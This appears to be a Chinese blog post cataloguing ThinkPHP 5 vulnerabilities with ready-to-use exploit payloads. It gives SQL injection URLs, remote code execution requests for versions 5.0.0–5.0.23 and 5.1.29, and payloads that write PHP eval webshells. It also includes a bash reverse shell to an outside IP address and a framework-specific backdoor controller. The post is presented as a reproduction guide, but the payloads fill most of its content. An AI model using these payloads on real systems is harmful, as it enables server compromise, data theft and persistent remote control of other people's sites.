• 11.tp5常见漏洞


    1.tp5下载安装

    版本 : thinkphp5.0.24完整版本

    绑定域名www.tp5.com , 在模块的config.php中打开debug和追踪调试

    tp3和tp5的区别

    https://www.cnblogs.com/wupeiky/p/5850108.html
    

    image-20211123213255540

    image-20211123213326970

    还有个很大的区别就是路由访问 , 在tp5中不在支持mac访问

    http://www.tp5.com/index.php?m=Home&c=index&a=haha
    # 实际上访问的是index.php   后面的参数不生效 , index.php也可以省略 , 但是需要在.htaccess中设置
    

    实验版本 : thinkphp5.x 完整版本

    2.tp5.0.9注入漏洞

    2.1代码示例

    <?php
    namespace app\index\controller;
    
    class Index
    {
        public function index()
        {
           $id = input("id/a");  // 强行接收id参数 , 参数必须为数组
           $data = db("users")->where("id","in",$id)->select();  //
           dump($data);
        }
    }
    

    2.2payload

    http://www.tp5.com/index.php/index/index?id[0,updatexml(0,concat(0x5e,user()),0)]=1
    

    image-20211125220414473

    如果还开启了debug的话会爆出数据库配置信息

    image-20211125220449982

    2.3漏洞分析

    这个漏洞比较鸡肋 , 是在PDO处理的第一步触发 , 不能进行子查询 , 所以无法获取数据库表名和字段 以及数据
    只能看一些版本 , 用户信息
    - 必须是5.0.5<5.0.9
    - 接收的参数必须是数组 , 可控
    

    2.4漏洞利用

    python3 sqlmap.py -u "http://www.tp5.com/index.php/index/index?id[0,*]"
    sqlmap是跑不出来的 , 只能手动
    

    3.tp5.0.15update注入

    3.1代码示例

    <?php
    namespace app\index\controller;
    
    class Index
    {
        public function index()
        {
           $level = input("level/a");  // 强行接收id参数 , 参数必须为数组
           $data = db("users")->where("id",1)->update(["level"=>$level]);  //
           dump($data);
        }
    }
    

    3.2payload

    http://www.tp5.com/index.php/index/index?level[0]=inc&level[1]=updatexml(1,concat(0x5e,user(),0x5e),1)&level[2]=2
    

    image-20211125222832409

    3.3漏洞分析

    同样也是PDO处理中的报错 , 鸡肋 , 所以不能进行子查询 , 无法获取账号和密码
    同样参数必须是数组 , 可控
    

    3.4漏洞利用

    python3 sqlmap.py -u "http://www.tp5.com/index.php/index/index?level[0]=inc&level[1]=*&level[2]=2"
    跑不出来
    

    4.tp5.1聚合查询漏洞

    网上虽然是爆的tp5.1的漏洞 ,但是tp5.0.15也有这个漏洞 , 这里继续用tp5.0.15演示

    4.1示例代码

    <?php
    namespace app\index\controller;
    
    class Index
    {
        public function index()
        {
           $count = input("get.count");  // 强行接收id参数 , 参数必须为数组
           $data = db("users")->count($count);  //
           dump($data);
        }
    }
    

    4.2payload

    http://www.tp5.com/index.php/index/index?count=id),(select sleep(5)),(username
    

    image-20211125223753494

    延时注入5s

    4.3漏洞分析

    既然是聚合查询产生的漏洞 , 可能存在的地方肯定和统计有关
    参数必须数数组 , 可控
    需要手工构造payload
    

    4.4漏洞利用

    python3 sqlmap.py -u "http://www.tp5.com/index.php/index/index?count=id),(*),(username" --dbms=mysql --technique=T
    
    sqlmap 跑不出来 , 需要手工注入
    

    image-20211125224344143

    5.tp5.0.0-5.0.23RCE

    路由地方出现的问题 , 和代码的写法没关系 , 这里依旧用tp5.0.15显示 , 不包括5.0.23

    5.1payload

    http://www.tp5.com/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
    														     要执行的函数         函数的参数
    
    

    image-20211125225237645

    5.2漏洞分析

    自行百度
    

    5.3漏洞利用

    直接写shell 或者 反弹shell

    写webshell(保存在public目录下)
    http://www.tp5.com/index.php?s=/index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=%3C?php%20@eval($_POST[x];)?%3E
    
    反弹
    http://www.tp5.com/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=bash -c 'bash -i >& /dev/tcp/192.168.42.156/4444 0>&1' 
    

    6.tp5.0.23RCE

    6.1payload

    POST /index.php?s=captcha HTTP/1.1
    Host: localhost
    Accept-Encoding: gzip, deflate
    Accept: */*
    Accept-Language: en
    User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
    Connection: close
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 72
    
    _method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id
                                                        函数                                                                           参数
    

    image-20211125232409586

    6.2漏洞分析

    自行百度

    6.3漏洞利用

    写shell
    _method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo "%3C?php%20@eval(\$_POST[x]);?%3E" > shell.php
    

    image-20211125233940408

    7.thinkphp5.1.29漏洞

    可能有的payload执行不了, 最好一个一个手工全试一试

    7.1代码执行

    http://www.0-sec.org/?s=index/\think\Request/input&filter=phpinfo&data=1
    
    http://www.0-sec.org/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
    
    http://www.0-sec.org/?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
    

    7.2命令执行

    http://www.0-sec.org/?s=index/\think\Request/input&filter=system&data=操作系统命令
    
    http://www.0-sec.org/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=操作系统命令     // 这个payload还是好使啊
    
    http://www.0-sec.org/?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=操作系统命令
    

    image-20211125235658846

    7.3文件写入

    http://www.0-sec.org/?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=%3C?php%20phpinfo();?%3E
    
    http://www.0-sec.org/?s=index/\think\view\driver\Php/display&content=%3C?php%20phpinfo();?%3
    

    8.tp专用shell

    基于thinkphp框架的一句话写法 thinkphp框架使用入口文件调用控制器,直接写一句话可能会有解析问题导致无法执行指令,把一句话套入框架控制器的方法

    <?php
    namespace app\index\controller;
    class Test
    {
       public function test()
       {
       eval($_POST["cmd"]);
       }
    }
    

    一句话的地址就是http://www.tp5.com/index/test , 密码cmd

    更多漏洞复现文库见 : https://0-wiki.com/#/

    9.总结

    关于tp5的命令执行漏洞居多 , 漏洞产生的原因是路由产生的 和开发写法无关
    5.0.0-5.0.23
    5.1-5.1.29 (中间也有可以代码执行的版本)
    关于注入漏洞
    5.0 update注入
    >5.1 聚合函数注入 , 都是在PDO第一阶段引起的报错 , 不能进行子查询 , 只能爆库相关的
    关于反序列化利用条件比较苛刻 , 看文章即可
    推荐一自动化检测工具 : https://github.com/Lotus6/ThinkphpGUI/releases/tag/1.3
    
  • 相关阅读:
    android AutoCompleteTextView 自定义BaseAdapter
    svg矢量图绘制以及转换为Android可用的VectorDrawable资源
    div 自适应高度 自动填充剩余高度
    Android 禁止Viewpager左右滑动功能
    ant安装、环境变量配置及验证
    创建GitHub技术博客全攻略
    简单的Hibernate入门简介
    Java开发Maven环境配置和介绍
    Android 子activity关闭 向父activity传值
    github for windows 桌面版使用方法
  • 原文地址:https://www.cnblogs.com/xcymn/p/15712395.html
Copyright © 2020-2023  润新知